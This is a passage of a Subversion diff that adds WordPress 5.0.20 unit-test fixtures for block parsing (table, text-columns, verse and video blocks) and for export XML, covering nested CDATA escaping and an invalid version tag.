+<table class="wp-block-table"><thead><tr><th>Version</th><th>Musician</th><th>Date</th></tr></thead><tbody><tr><td><a href="https://wordpress.org/news/2003/05/wordpress-now-available/">.70</a></td><td>No musician chosen.</td><td>May 27, 2003</td></tr><tr><td><a href="https://wordpress.org/news/2004/01/wordpress-10/">1.0</a></td><td>Miles Davis</td><td>January 3, 2004</td></tr><tr><td>Lots of versions skipped, see <a href="https://codex.wordpress.org/WordPress_Versions">the full list</a></td><td>&hellip;</td><td>&hellip;</td></tr><tr><td><a href="https://wordpress.org/news/2015/12/clifford/">4.4</a></td><td>Clifford Brown</td><td>December 8, 2015</td></tr><tr><td><a href="https://wordpress.org/news/2016/04/coleman/">4.5</a></td><td>Coleman Hawkins</td><td>April 12, 2016</td></tr><tr><td><a href="https://wordpress.org/news/2016/08/pepper/">4.6</a></td><td>Pepper Adams</td><td>August 16, 2016</td></tr><tr><td><a href="https://wordpress.org/news/2016/12/vaughan/">4.7</a></td><td>Sarah Vaughan</td><td>December 6, 2016</td></tr></tbody></table>
+<!-- /wp:core/table -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.json	(revision 56912)
@@ -0,0 +1,145 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/table",
+        "isValid": true,
+        "attributes": {
+            "hasFixedLayout": false,
+            "head": [
+                {
+                    "cells": [
+                        {
+                            "content": "Version",
+                            "tag": "th"
+                        },
+                        {
+                            "content": "Musician",
+                            "tag": "th"
+                        },
+                        {
+                            "content": "Date",
+                            "tag": "th"
+                        }
+                    ]
+                }
+            ],
+            "body": [
+                {
+                    "cells": [
+                        {
+                            "content": "<a href=\"https://wordpress.org/news/2003/05/wordpress-now-available/\">.70</a>",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "No musician chosen.",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "May 27, 2003",
+                            "tag": "td"
+                        }
+                    ]
+                },
+                {
+                    "cells": [
+                        {
+                            "content": "<a href=\"https://wordpress.org/news/2004/01/wordpress-10/\">1.0</a>",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "Miles Davis",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "January 3, 2004",
+                            "tag": "td"
+                        }
+                    ]
+                },
+                {
+                    "cells": [
+                        {
+                            "content": "Lots of versions skipped, see <a href=\"https://codex.wordpress.org/WordPress_Versions\">the full list</a>",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "…",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "…",
+                            "tag": "td"
+                        }
+                    ]
+                },
+                {
+                    "cells": [
+                        {
+                            "content": "<a href=\"https://wordpress.org/news/2015/12/clifford/\">4.4</a>",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "Clifford Brown",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "December 8, 2015",
+                            "tag": "td"
+                        }
+                    ]
+                },
+                {
+                    "cells": [
+                        {
+                            "content": "<a href=\"https://wordpress.org/news/2016/04/coleman/\">4.5</a>",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "Coleman Hawkins",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "April 12, 2016",
+                            "tag": "td"
+                        }
+                    ]
+                },
+                {
+                    "cells": [
+                        {
+                            "content": "<a href=\"https://wordpress.org/news/2016/08/pepper/\">4.6</a>",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "Pepper Adams",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "August 16, 2016",
+                            "tag": "td"
+                        }
+                    ]
+                },
+                {
+                    "cells": [
+                        {
+                            "content": "<a href=\"https://wordpress.org/news/2016/12/vaughan/\">4.7</a>",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "Sarah Vaughan",
+                            "tag": "td"
+                        },
+                        {
+                            "content": "December 6, 2016",
+                            "tag": "td"
+                        }
+                    ]
+                }
+            ],
+            "foot": []
+        },
+        "innerBlocks": [],
+        "originalContent": "<table class=\"wp-block-table\"><thead><tr><th>Version</th><th>Musician</th><th>Date</th></tr></thead><tbody><tr><td><a href=\"https://wordpress.org/news/2003/05/wordpress-now-available/\">.70</a></td><td>No musician chosen.</td><td>May 27, 2003</td></tr><tr><td><a href=\"https://wordpress.org/news/2004/01/wordpress-10/\">1.0</a></td><td>Miles Davis</td><td>January 3, 2004</td></tr><tr><td>Lots of versions skipped, see <a href=\"https://codex.wordpress.org/WordPress_Versions\">the full list</a></td><td>&hellip;</td><td>&hellip;</td></tr><tr><td><a href=\"https://wordpress.org/news/2015/12/clifford/\">4.4</a></td><td>Clifford Brown</td><td>December 8, 2015</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/04/coleman/\">4.5</a></td><td>Coleman Hawkins</td><td>April 12, 2016</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/08/pepper/\">4.6</a></td><td>Pepper Adams</td><td>August 16, 2016</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/12/vaughan/\">4.7</a></td><td>Sarah Vaughan</td><td>December 6, 2016</td></tr></tbody></table>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/table",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<table class=\"wp-block-table\"><thead><tr><th>Version</th><th>Musician</th><th>Date</th></tr></thead><tbody><tr><td><a href=\"https://wordpress.org/news/2003/05/wordpress-now-available/\">.70</a></td><td>No musician chosen.</td><td>May 27, 2003</td></tr><tr><td><a href=\"https://wordpress.org/news/2004/01/wordpress-10/\">1.0</a></td><td>Miles Davis</td><td>January 3, 2004</td></tr><tr><td>Lots of versions skipped, see <a href=\"https://codex.wordpress.org/WordPress_Versions\">the full list</a></td><td>&hellip;</td><td>&hellip;</td></tr><tr><td><a href=\"https://wordpress.org/news/2015/12/clifford/\">4.4</a></td><td>Clifford Brown</td><td>December 8, 2015</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/04/coleman/\">4.5</a></td><td>Coleman Hawkins</td><td>April 12, 2016</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/08/pepper/\">4.6</a></td><td>Pepper Adams</td><td>August 16, 2016</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/12/vaughan/\">4.7</a></td><td>Sarah Vaughan</td><td>December 6, 2016</td></tr></tbody></table>\n",
+        "innerContent": [ "\n<table class=\"wp-block-table\"><thead><tr><th>Version</th><th>Musician</th><th>Date</th></tr></thead><tbody><tr><td><a href=\"https://wordpress.org/news/2003/05/wordpress-now-available/\">.70</a></td><td>No musician chosen.</td><td>May 27, 2003</td></tr><tr><td><a href=\"https://wordpress.org/news/2004/01/wordpress-10/\">1.0</a></td><td>Miles Davis</td><td>January 3, 2004</td></tr><tr><td>Lots of versions skipped, see <a href=\"https://codex.wordpress.org/WordPress_Versions\">the full list</a></td><td>&hellip;</td><td>&hellip;</td></tr><tr><td><a href=\"https://wordpress.org/news/2015/12/clifford/\">4.4</a></td><td>Clifford Brown</td><td>December 8, 2015</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/04/coleman/\">4.5</a></td><td>Coleman Hawkins</td><td>April 12, 2016</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/08/pepper/\">4.6</a></td><td>Pepper Adams</td><td>August 16, 2016</td></tr><tr><td><a href=\"https://wordpress.org/news/2016/12/vaughan/\">4.7</a></td><td>Sarah Vaughan</td><td>December 6, 2016</td></tr></tbody></table>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:table -->
+<table class="wp-block-table"><thead><tr><th>Version</th><th>Musician</th><th>Date</th></tr></thead><tbody><tr><td><a href="https://wordpress.org/news/2003/05/wordpress-now-available/">.70</a></td><td>No musician chosen.</td><td>May 27, 2003</td></tr><tr><td><a href="https://wordpress.org/news/2004/01/wordpress-10/">1.0</a></td><td>Miles Davis</td><td>January 3, 2004</td></tr><tr><td>Lots of versions skipped, see <a href="https://codex.wordpress.org/WordPress_Versions">the full list</a></td><td>…</td><td>…</td></tr><tr><td><a href="https://wordpress.org/news/2015/12/clifford/">4.4</a></td><td>Clifford Brown</td><td>December 8, 2015</td></tr><tr><td><a href="https://wordpress.org/news/2016/04/coleman/">4.5</a></td><td>Coleman Hawkins</td><td>April 12, 2016</td></tr><tr><td><a href="https://wordpress.org/news/2016/08/pepper/">4.6</a></td><td>Pepper Adams</td><td>August 16, 2016</td></tr><tr><td><a href="https://wordpress.org/news/2016/12/vaughan/">4.7</a></td><td>Sarah Vaughan</td><td>December 6, 2016</td></tr></tbody></table>
+<!-- /wp:table -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__table.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<table class="wp-block-table"><thead><tr><th>Version</th><th>Musician</th><th>Date</th></tr></thead><tbody><tr><td><a href="https://wordpress.org/news/2003/05/wordpress-now-available/">.70</a></td><td>No musician chosen.</td><td>May 27, 2003</td></tr><tr><td><a href="https://wordpress.org/news/2004/01/wordpress-10/">1.0</a></td><td>Miles Davis</td><td>January 3, 2004</td></tr><tr><td>Lots of versions skipped, see <a href="https://codex.wordpress.org/WordPress_Versions">the full list</a></td><td>&hellip;</td><td>&hellip;</td></tr><tr><td><a href="https://wordpress.org/news/2015/12/clifford/">4.4</a></td><td>Clifford Brown</td><td>December 8, 2015</td></tr><tr><td><a href="https://wordpress.org/news/2016/04/coleman/">4.5</a></td><td>Coleman Hawkins</td><td>April 12, 2016</td></tr><tr><td><a href="https://wordpress.org/news/2016/08/pepper/">4.6</a></td><td>Pepper Adams</td><td>August 16, 2016</td></tr><tr><td><a href="https://wordpress.org/news/2016/12/vaughan/">4.7</a></td><td>Sarah Vaughan</td><td>December 6, 2016</td></tr></tbody></table>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.html	(revision 56912)
@@ -0,0 +1,10 @@
+<!-- wp:core/text-columns {"width":"center"} -->
+<div class="wp-block-text-columns aligncenter columns-2">
+    <div class="wp-block-column">
+        <p>One</p>
+    </div>
+    <div class="wp-block-column">
+        <p>Two</p>
+    </div>
+</div>
+<!-- /wp:core/text-columns -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.json	(revision 56912)
@@ -0,0 +1,21 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/text-columns",
+        "isValid": true,
+        "attributes": {
+            "content": [
+                {
+                    "children": "One"
+                },
+                {
+                    "children": "Two"
+                }
+            ],
+            "columns": 2,
+            "width": "center"
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-text-columns aligncenter columns-2\">\n    <div class=\"wp-block-column\">\n        <p>One</p>\n    </div>\n    <div class=\"wp-block-column\">\n        <p>Two</p>\n    </div>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.parsed.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "blockName": "core/text-columns",
+        "attrs": {
+            "width": "center"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-text-columns aligncenter columns-2\">\n    <div class=\"wp-block-column\">\n        <p>One</p>\n    </div>\n    <div class=\"wp-block-column\">\n        <p>Two</p>\n    </div>\n</div>\n",
+        "innerContent": [ "\n<div class=\"wp-block-text-columns aligncenter columns-2\">\n    <div class=\"wp-block-column\">\n        <p>One</p>\n    </div>\n    <div class=\"wp-block-column\">\n        <p>Two</p>\n    </div>\n</div>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:text-columns {"width":"center"} -->
+<div class="wp-block-text-columns aligncenter columns-2"><div class="wp-block-column"><p>One</p></div><div class="wp-block-column"><p>Two</p></div></div>
+<!-- /wp:text-columns -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text-columns.server.html	(revision 56912)
@@ -0,0 +1,10 @@
+
+<div class="wp-block-text-columns aligncenter columns-2">
+    <div class="wp-block-column">
+        <p>One</p>
+    </div>
+    <div class="wp-block-column">
+        <p>Two</p>
+    </div>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/text -->
+<p>This is an old-style text block.  Changed to <code>paragraph</code> in #2135.</p>
+<!-- /wp:core/text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/paragraph",
+        "isValid": true,
+        "attributes": {
+            "content": "This is an old-style text block.  Changed to <code>paragraph</code> in #2135.",
+            "dropCap": false
+        },
+        "innerBlocks": [],
+        "originalContent": "<p>This is an old-style text block.  Changed to <code>paragraph</code> in #2135.</p>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/text",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<p>This is an old-style text block.  Changed to <code>paragraph</code> in #2135.</p>\n",
+        "innerContent": [ "\n<p>This is an old-style text block.  Changed to <code>paragraph</code> in #2135.</p>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:paragraph -->
+<p>This is an old-style text block.  Changed to <code>paragraph</code> in #2135.</p>
+<!-- /wp:paragraph -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<p>This is an old-style text block.  Changed to <code>paragraph</code> in #2135.</p>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/verse -->
+<pre class="wp-block-verse">A <em>verse</em>…<br>And more!</pre>
+<!-- /wp:core/verse -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/verse",
+        "isValid": true,
+        "attributes": {
+            "content": "A <em>verse</em>…<br>And more!"
+        },
+        "innerBlocks": [],
+        "originalContent": "<pre class=\"wp-block-verse\">A <em>verse</em>…<br>And more!</pre>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/verse",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<pre class=\"wp-block-verse\">A <em>verse</em>…<br>And more!</pre>\n",
+        "innerContent": [ "\n<pre class=\"wp-block-verse\">A <em>verse</em>…<br>And more!</pre>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:verse -->
+<pre class="wp-block-verse">A <em>verse</em>…<br>And more!</pre>
+<!-- /wp:verse -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__verse.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<pre class="wp-block-verse">A <em>verse</em>…<br>And more!</pre>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/video -->
+<figure class="wp-block-video"><video controls src="https://awesome-fake.video/file.mp4"></video></figure>
+<!-- /wp:core/video -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/video",
+        "isValid": true,
+        "attributes": {
+            "autoplay": false,
+            "caption": "",
+            "controls": true,
+            "loop": false,
+            "muted": false,
+            "preload": "metadata",
+            "src": "https://awesome-fake.video/file.mp4"
+        },
+        "innerBlocks": [],
+        "originalContent": "<figure class=\"wp-block-video\"><video controls src=\"https://awesome-fake.video/file.mp4\"></video></figure>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.parsed.json	(revision 56912)
@@ -0,0 +1,16 @@
+[
+    {
+        "blockName": "core/video",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<figure class=\"wp-block-video\"><video controls src=\"https://awesome-fake.video/file.mp4\"></video></figure>\n",
+        "innerContent": [ "\n<figure class=\"wp-block-video\"><video controls src=\"https://awesome-fake.video/file.mp4\"></video></figure>\n" ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [ "\n" ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:video -->
+<figure class="wp-block-video"><video controls src="https://awesome-fake.video/file.mp4"></video></figure>
+<!-- /wp:video -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__video.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<figure class="wp-block-video"><video controls src="https://awesome-fake.video/file.mp4"></video></figure>
+
Index: /tags/5.0.20/tests/phpunit/data/export/crazy-cdata-escaped.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/crazy-cdata-escaped.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/crazy-cdata-escaped.xml	(revision 56912)
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://wp.dev</wp:base_site_url>
+	<item>
+		<title>Hello world!</title>
+		<link>http://example.org/?p=1</link>
+		<pubDate>Thu, 05 Jan 2012 14:30:46 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://example.org/?p=1</guid>
+		<content:encoded><![CDATA[Content with nested <![CDATA[ tags ]]]]><![CDATA[> :)]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2012-01-05 14:30:46</wp:post_date>
+		<wp:post_date_gmt>2012-01-05 14:30:46</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>Plain string</wp:meta_key>
+			<wp:meta_value><![CDATA[Foo]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Closing CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[]]]]><![CDATA[>]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Alot of CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[This has <![CDATA[ opening and ]]]]><![CDATA[> closing <![CDATA[ tags like this: ]]]]><![CDATA[>]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/crazy-cdata.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/crazy-cdata.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/crazy-cdata.xml	(revision 56912)
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://wp.dev</wp:base_site_url>
+	<item>
+		<title>Hello world!</title>
+		<link>http://example.org/?p=1</link>
+		<pubDate>Thu, 05 Jan 2012 14:30:46 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://example.org/?p=1</guid>
+		<content:encoded><![CDATA[Content with nested <![CDATA[ tags ]]> :)]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2012-01-05 14:30:46</wp:post_date>
+		<wp:post_date_gmt>2012-01-05 14:30:46</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>Plain string</wp:meta_key>
+			<wp:meta_value><![CDATA[Foo]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Closing CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[]]>]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Alot of CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/5.0.20/tests/phpunit/data/export/invalid-version-tag.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/data/export/invalid-version-tag.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/export/invalid-version-tag.xml	(revision 56912)
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>abc</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
